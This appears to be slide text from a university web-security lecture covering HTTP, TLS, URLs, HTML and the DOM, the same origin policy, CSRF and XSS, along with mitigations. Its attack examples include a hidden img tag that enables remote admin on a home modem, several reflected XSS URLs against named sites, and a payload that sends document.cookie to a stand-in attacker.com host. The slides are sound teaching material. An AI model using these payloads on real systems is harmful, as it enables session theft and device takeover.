CIT 380: Securing Computer Systemswaldenj/classes/2014/fall/... · 2019. 8. 25. · – Based on...

CIT 480: Securing Computer Systems

CIT 480: Securing Computer

Systems

Web Security I


Topics

1. HTTP

2. Transport Layer Security (TLS)

3. URLs

4. HTML and the DOM

5. Same Origin Policy

6. Cross-Site Attacks


Web Transactions

Web Browser

OS

Web Server

Network


HTTP: HyperText Transfer Protocol

Simple request/respond protocol

– Request methods: GET, POST, HEAD, etc.

– Protocol versions: 1.0, 1.1

Stateless

– Each request independent of previous requests, i.e.

request #2 doesn’t know you authenticated in #1.

– Applications responsible for handling state.

• Multiple state options: cookies, URLs, secret form

parameters, supercookies.


HTTP Request

GET http://www.google.com/ HTTP/1.1

Host: www.google.com

User-Agent: Mozilla/5.0 (Windows NT 5.1) Gecko/20060909 Firefox/1.5.0.7

Accept: text/html, image/png, */*

Accept-Language: en-us,en;q=0.5

Cookie: rememberme=true; PREF=ID=21039ab4bbc49153:FF=4

Method URL Protocol Version

Headers

Blank Line

No Data for GET method


HTTP Response

HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html

Server: GWS/2.1

Date: Fri, 13 Oct 2006 03:16:30 GMT

<HTML> ... (page data) ... </HTML>

Protocol Version HTTP Response Code

Headers

Blank

Line

Web Page Data

HTTP Methods

Method Description

GET Retrieve resource located at specified URI.

HEAD Retrieve metadata about resource located at specified URI. Useful for

caches to determine if they need to retrieve an updated resource.

PUT Create or replace resource located at specified URI with resource provided

by client.

DELETE Delete resource located at specified URI.

OPTIONS Return list of HTTP methods that can be used with specified URI.

POST Create a new resource under the specified URI, e.g. adding a new message

in a web forum, adding a comment to a blog post, annotating a photo, etc.

In summary, POST is a way for a client to create a new resource without

knowing its URI; the client just knows the URI of a “parent” or “factory”

resource.



Different Security Perspectives

Client Side

• HTTP requests may

reveal private info.

• HTTP responses may

reveal private info.

• HTTP responses may

include malicious code

(Java, ActiveX,

JavaScript)

Server Side

• HTTP requests may contain

malicious input.

• HTTP requests may have

forged authentication.

• HTTP responses may be

intercepted.

Transport Layer Security (TLS)

TLS protocol provides security features for

other protocols, such as HTTP, IMAP, etc.

1. Authentication of server to client.

2. Optional authentication of client to server.

3. Confidentiality of communication.

4. Integrity of communication.

TLS 1.0 was published in 1999.

– SSL 2.0 was first released in 1995 (insecure)

– TLS 1.2 is most recent, defined in 2008.


TLS Operation


TLS Handshake

Cipher Suites

1. Key Exchange Algorithm

– Used to exchange session keys for bulk encryption algorithm.

– Examples: RSA, Diffie-Hellmann

2. Bulk Encryption Algorithm

– Used to encrypt message stream.

– Examples: RC4-128, Triple-DES, AES-128, AES-256

3. Message Authentication Code

– MAC is keyed hash function to ensure integrity.

– Based on MD5, SHA-1, or SHA-2, key based on master secret.

4. Pseudorandom Function

– Used to create master secret, a 48-byte secret shared with both

parties. Used to create session keys.


X.509 Digital Certificates

Certificate contains

– Identity of issuer, who produced certificate.

– Identity of subject.

– Public key of subject.

– Range of dates for which certificate is valid.

– Digital signature from issuer.

Signature means that issuer vouches that

– Public key belongs to subject, e.g.

– You really are connected to example.com.

Client has list of trusted certificate authorities (CAs)

– Client will trust certificate if it is signed by one of those CAs or if

issuer has a certificate that was signed by CA.


Certificate Authorities

CA is an entity that issues digital certificates.

– Trusted 3rd party that enables public key crypto.

– Hundreds of CAs exist in dozens of countries.

CAs can revoke certificates too

– If certificate improperly issued or private key leaked.

– Certificate Revocation Lists (CRLs).

– Clients should check CRLs before using certificate.

Example certificate authorities

– Symantec (Verisign, Thawte, Geotrust)

– Go Daddy


Certificate Validation

How does CA know subject is who they claim to be?

– Competition between CAs drove prices low,

– So validation checks became perfunctory.

– Example: Diginotar CA issued certificate for gmail to

someone from Iran in 2011.

Extended Validation (EV) Certificates

– Known procedure verifies legal entity who controls site.

– Guidelines: https://cabforum.org/extended-validation/

– CAs must pass a qualified audit to issue EV certificates.

– Cost is significantly higher.

– Browser UI indicates EV with location bar color.

HTTPS (HTTP over SSL)

HTTPS differences

– Default port is 443.

– Connection: close HTTP header ends session.

– RFC 2818: HTTP over TLS

Encrypts

– URL of requested document

– HTTP headers

– HTTP bodies, including response documents

– All form parameters, as they are either in the URL or

the HTTP body.


TLS Attacks

Version and renegotiation attacks

– Trick browser into using insecure SSL or cipher version.

Man-in-the-middle attacks

– Sslsniff, but will produce certificate warnings.

– Sslstrip converts https links to http links, so user

communicates in plaintext with middleman.

Certificate attacks

– Trick CA into issuing certificate to wrong person.

– Use crypto weaknesses to create certs for any site.

Implementation attacks

– Heartbleed(2014): OpenSSL memory reading attack.CIT 480: Securing Computer Systems

URL Format

<scheme>://<user.pw>@<host>:<port>/<path>?<qstr>#<frag>

Whitespace (space, tab, ff, etc.) marks end of URL.

@ separates login credentials from hostname.

: separates hostname from optional port number.

? marks beginning of query string.

& separates query parameters.

# separates fragment identifier.

%HH represents character with hex values.

: / ? # [ ] @ delimiters must be URL encoded.

URL Encoding

<proto>://<user:pw>@<host>:<port>/<path>?<qstr>#<frag>

– Query string is set of key-value pairs separated by &

• ?q=cloud&lang=en

– Whitespace marks end of URL

– Special characters must be URL-encoded.

• %HH represents character as hex value, e.g. %20 = space.

• Special characters include whitespace : @ ? / # &

• Any character may be encoded, including proto, path, &c.

– URL encoding is also used in the body of POST requests.

http://user:[email protected]:8001/a%20spaced%20path?l=en#section2

URL Examples

http://example.com/

http://[email protected]/

http://example.com:8080/test/path.html

http://example.com/search?q=foo&l=en

http://example.com/index.html#section2

http://%65xample.%63om/

http://example.com&g=1234@167772161/


http://example.com/

http://example.com:8080/test/path.html

http://example.com/search?q=foo&l=en

http://example.com/index.html#section2

http://example.com&[email protected]/

HTTP is a stateless protocol

A stateful protocol allows requests to move the server into a different state, in which a request may produce a different result.

– Example protocols: FTP, SMTP, TCP

– FTP command “get rest.txt” will return a different file when cwd is /public rather than /private.

A stateless protocol treats each request as an independent transaction that is unrelated to any previous request so that communication consists of independent pairs of requests and responses.

– Examples: HTTP, IP


Handling Statelessness

Store state information directly in the address (URI)

– To access second page in google search for “http”:

– https://encrypted.google.com/webhp? q=http&safe=off&start=10

– Works best for web services.

Store state indirectly in an HTTP header (cookies)

– Set-Cookie header from server creates cookie.

– Client must return Cookie HTTP header with each subsequent request if it wants the server to remember its state.

– Cookie is a pointer to state stored on the server.

– Example: most shopping cart applications.


HTML

<html>

<head>

<title>This is a title</title>

</head>

<body>

<p class=“only”>Hello world!</p>

<img src=“images/hello.png” />

</body>

</html>



HTML Special Characters

< begins a tag

> ends a tag

some browsers will auto-insert matching <

‘ and “ enclosed attributes

optional unless spaces or other meaningful chars.

& begins an HTML entity

entities used to represent special characters.

HTML Entities

Entities can encode any Unicode character.

Reference UCS code point via the notation:

&#nnnn; (decimal) or &#xhhhh; (hexadecimal)

Some common entities have names.

¢ → ¢

Special characters must be encoded as entities:

& → &

< → <

> → >

" → "

' → '


Character Set Encoding

• Default: ISO-8859-1 (Latin-1)

• Char sets dictate which chars are special

• UTF-8 allows multiple representations

• Force Latin-1 encoding of web page with:

– <META http-equiv=“Content-Type”

content=“text/html; charset=ISO-8859-1”>

HTML Forms

<form> tag

– action=URL destination

for form input.

– method=get sends input as

query string parameters

– method=post sends input

as data in POST method

<input> tag

– name=name of input.

– type attribute specifies

checkbox, radio, text, etc.



HTTP POST Request

POST http://www.example.com/ HTTP/1.1

Host: www.example.com

User-Agent: Mozilla/5.0 (Windows NT 5.1) Gecko/20060909 Firefox/1.5.0.7

Accept: text/html, image/png, */*

Accept-Language: en-us,en;q=0.5

Method URL Protocol Version

Headers

Blank Line

POST data

name=Jane+Doe&sex=female&color=green&over6feet=true&over200pounds=false&athleticability=NA


Hidden Fields

<input type=“hidden” name=“user”

value=“james”>

– Used to propagate data between HTTP requests

since protocol is stateless.

– Clearly visible in HTML source.

– User can modify hidden values since form can be

copied, modified to change hidden fields, then

used to invoke script.

Document Object Model (DOM)

• DOM connects

JavaScript and CSS to

HTML documents.

• JavaScript can read

and modify every

element of HTML.

• Dynamic HTML

(DHTML) = DOM +

JavaScript + CSS.

• Capability used by

threats in cross-site

scripting attacks.


DHTML vs. Ajax



Cookies

Server to Client

Content-type: text/html

Set-Cookie: foo=bar; path=/; expires Fri, 20-Feb-

2014 23:59:00 GMT

Client to Server

Content-type: text/html

Cookie: foo=bar

Cookie Fields

Expires: if specified, cookie may be saved to disk and persist

across sessions. If not, then cookie persists for duration of

session.

Domain: allows cookie to be sent to servers other than the

hostname that sent the Set-Cookie header.

Path: ensures that cookie is only returned when URL path

component is under path.

Secure: prevents cookie from being sent over non-encrypted

connections.

HttpOnly: removes ability to read cookie via

document.cookie API in JavaScript to protect against XSS.


Cookie Security Policy

Domain parameter limits which servers are sent

cookie in complex ways (see table).

Path parameter limits which paths are sent cookies,

but JavaScript from any path can read cookies.


Same Origin Policy (SOP)

Goal: prevent web pages of different origins from

accessing each others’ data, such as cookies, hidden

fields, web local storage, etc.

Origin = scheme, hostname, and port.

Example: evil.com should not be able to access

cookies from example.com.


Is SOP appropriate?

Sometimes SOP is too permissive:

– If hosting user web pages via ~name URLs,

– http://nku.edu/~waldenj and

– http://nku.edu/~smithj

– share the same origin and thus no protection.

Sometimes SOP is too restrictive:

– Web servers in subdomains for different purposes.

– http://auth.example.com/ and

– http://payments.example.com/

– have different origins and cannot share cookies.


http://nku.edu/~waldenj

http://nku.edu/~smithj

http://payments.example.com/

Cross-Site Attacks

Target users of application.

– Use application feature to reach other users of

application, bypassing same origin policy.

– Obtain assets of individual users rather than

assets of entire application.

One of the most common types of attack.

– Cross-Site Request Forgery (CSRF)

– Cross-Site Scripting (XSS)


Cross-Site Request Forgery

A confused deputy attack.

– Exploits trust that application has with authentication sessions.

Attack scenario:

– User authenticates to web application.

– User browses to another site containing a malicious CSRF attack link to web app.

• iframe, img, link, bgsound, etc.

– Browser accesses web app with cached credentials, performing whatever action specified by the link.

Example: DSL Modem Attack

Home network devices are administered via web apps.

– Standard local IPs.

Attacker inserts 1-pixel imgtag on page.

– src is URL of form submission, giving remote admin.

No password needed.

– Software owner assumed device on trusted local network.

– Of course, browser is on the local network too.

<img

src="http://192.168.1.254/Forms/remoteRES_1?NSS_RemotePas

sword=blehblah&NSS_EnableWANAdminAccessRES=on&time

outDisable=0&Enable=Enable" alt="" width="1" height="1" />


Mitigating CSRF

Require POST for data modifications, but

– Many frameworks automatically fetch both types of parameters or convert one to other.

– Hidden POST requests can be created with scripts.

Check referer header.

– But users can block or forge referer header, so it cannot be relied on for everyone.

Use nonces.

– Random token inserted as hidden parameter, and thus submitted with form.

– But XSS can read form, so a combined XSS + CSRF attack can bypass this defense.


Mitigating CSRF

Re-authenticate for high value transactions.

– Use out of band authentication if possible.

Expire session IDs quickly.

– But there will always be some time period in which

a CSRF attack will work.

Automate defenses with tools.

– CSRFGuard to insert nonces.

– CSRFTester to verify application.


Cross-Site Scripting (XSS)

Attacker causes a legitimate web server to send

user executable content (Javascript, Flash

ActiveScript) of attacker’s choosing.

Impact of XSS

– Account hijacking.

– Browser hijacking (malware hosting.)

– Information leakage (stored form values, etc.)

– Virtual defacement.


XSS Example

Web application sends browser to an error

page after user clicks submit.

https://example.com/error.php?message=So

rry%2C+an +error+occurred


XSS Example

The error message is “reflected” back from

the Web server to the client in a web page.


XSS Example

We can replace the error with JavaScript

https://example.com/error.php?message=<scri

pt>alert(‘xss’);</script>


Exploiting the Example

1. User logins in and is issued a cookie

2. Attacker feed the URL to user

https://example.com/error.php?message=<scri

pt>var+i=new+Image;+i.src=“http://attack

er.com/”%2bdocument.cookie;</script>


Why does XSS Work?

Same-Origin Policy

– Browser only allows Javascript from site X to

access cookies and other data from site X.

– Attacker needs to make attack come from site X.

Vulnerable Server Program

– Any program that returns user input without

filtering out dangerous code.


Reflected XSS

Attack Scenario

– User clicks on link.

– Injected script returned by one-time message

from vulnerable site.

– User browser executes injected code.

Limitations

– Non-persistent. Only works when user clicks.

– Most common type of XSS (~75%).


Anatomy of an XSS Attack

Web Server

3. XSS Attack

AttackerUser

4. User clicks on XSS link.

7. Browser runs

injected code.

Evil site saves ID.


XSS URL Examples

http://www.microsoft.com/education/?ID=MCTN&target=http://www.microsoft.com/education/?ID=MCTN&target="><script>alert(document.cookie)</script>

http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>alert(‘Test’);</script>

http://www.shopnbc.com/listing.asp?qu=<script>alert(document.cookie)</script>&frompage=4&page=1&ct=VVTV&mh=0&sh=0&RN=1

http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text=_%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E


Stored XSS

Injected script stored in

– Post or comment.

– Review.

– Uploaded file.

User views page with injected script.

– Malicious action is taken while user is logged into

site where malware found.

– Not technically cross-site.

Attack persists until injected code deleted.


Browser Exploitation Framework

BeEF hooks browsers via XSS exploit

– Can use as stored or reflected XSS.

– Hooked browsers are bots controlled by BeEF.

Exploitation modules run on hooked browsers to

– View browsing history.

– Identify authenticated sessions.

– Phishing and other social engineering attacks.

– Port scans of network browser is running on.

– Reverse proxy into network browser is running on.

– Use Metasploit.


BeEF Screenshot


Mitigating XSS

1. Disallow HTML input

2. Allow only safe HTML tags

3. Encode outputReplace HTML special characters in output

ex: replace < with < and > with >

also replace (, ), #, &

4. Tagged cookiesInclude IP address in cookie and only allow access to original IP address that cookie was created for.


Key Points

1. Key features of the web

– Understand features and risks of HTTP, HTML, DOM

– Both client and server must validate input.

2. HTTPS = HTTP + TLS

– Authentication of server via certificate.

– Confidentiality + integrity of data in transit.

– Input-based attacks like XSS can be delivered via SSL.

3. Same Origin Policy (SOP)

– Prevents web sites from accessing data from other sites.

– Protects cookies, headers, form parameters, etc.

4. Cross-site Attacks

– Bypass SOP by tricking vulnerable web application to get browser

to run malicious code sent by attacker.

References

1. Andreu, Professional Penetration Testing for Web Applications, Wrox, 2006.

2. Goodrich and Tammasia, Introduction to Computer Security, Pearson, 2011.

3. Joel Scambray, Mike Shema, Caleb Sima, Hacking Exposed Web Applications, Second Edition, McGraw-Hill, 2006.

4. Sarkar and Fitzgerald, Attacks on SSL: A comprehensive study of BEAST, CRIME, TIME, BREACH, LUCKY 13, and RC4 biases, https://www.isecpartners.com/media/106031/ssl_attacks_survey.pdf, 2013.

5. Stallings, Cryptography and Network Security: Principles and Practice, 6th ed, Prentice Hall, 2013.

6. Stuttart and Pinto, The Web Application Hacker’s Handbook, 2nd ed, Wiley, 2011.

7. Michal Zalewski, The Tangled Web: A Guide to Securing Modern Web Applications, No Starch Press, 2012.


https://www.isecpartners.com/media/106031/ssl_attacks_survey.pdf

CIT 380: Securing Computer Systemswaldenj/classes/2014/fall/... · 2019. 8. 25. · – Based on...

Documents

Transcript of CIT 380: Securing Computer Systemswaldenj/classes/2014/fall/... · 2019. 8. 25. · – Based on...